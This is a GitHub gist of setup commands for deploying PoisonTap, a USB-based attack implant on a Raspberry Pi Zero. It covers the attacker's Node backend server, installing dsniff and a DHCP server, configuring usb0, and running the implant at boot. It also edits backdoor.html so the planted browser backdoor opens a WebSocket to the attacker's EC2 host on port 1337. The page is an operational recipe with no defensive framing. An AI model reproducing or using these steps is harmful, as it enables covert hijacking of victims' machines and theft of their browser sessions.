Skip to content

Instantly share code, notes, and snippets.

@dcyou
Forked from jgamblin/Pi.txt
Last active February 5, 2019 14:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dcyou/376646adeab89b63ce1cb5a596912609 to your computer and use it in GitHub Desktop.
Save dcyou/376646adeab89b63ce1cb5a596912609 to your computer and use it in GitHub Desktop.
PoisonTap Install Commands

Server:

curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"  # This loads nvm
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"  # This loads nvm bash_completion
nvm install 7
sudo apt-get -y install git vim screen
sudo npm install websocket
git clone https://github.com/samyk/poisontap
screen -R -D 
cd poisontap
sudo node backend_server.js

Sat Apr XXXXXXXXXX Server is listening on port 1337

piZero:

at root of the SD card create a ssh file without extension and a file wpa_supplicant.conf with

country=fr
update_config=1
ctrl_interface=/var/run/wpa_supplicant

network={
 scan_ssid=1
 ssid="MyRouter"
 psk="MySecureKey"
}
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"  # This loads nvm
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"  # This loads nvm bash_completion
nvm install 7
sudo apt-get -y install isc-dhcp-server dsniff screen git vim
sudo vim /usr/share/vim/vim80/defaults.vim

then replace set mouse=a by set mouse=r to change it

git clone https://github.com/samyk/poisontap
cd poisontap
vim backdoor.html

change <amazon EC2 instance address> by your address var socket = new WebSocket('ws://<amazon EC2 instance address>:1337');

add this to /etc/network/interfaces:

sudo vim /etc/network/interfaces
auto usb0
    allow-hotplug usb0
    iface usb0 inet static
    address 1.0.0.1
    netmask 0.0.0.0
Setup to run at boot:
sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/
sudo chmod +x /etc/init.d/pi_startup.sh

add this to /etc/rc.local right above exit 0:

sudo vim /etc/rc.local

/etc/init.d/pi_startup.sh &

DHCP:
sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf

add this to /etc/default/isc-dhcp-server:

sudo vim /etc/default/isc-dhcp-server

INTERFACES="usb0"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment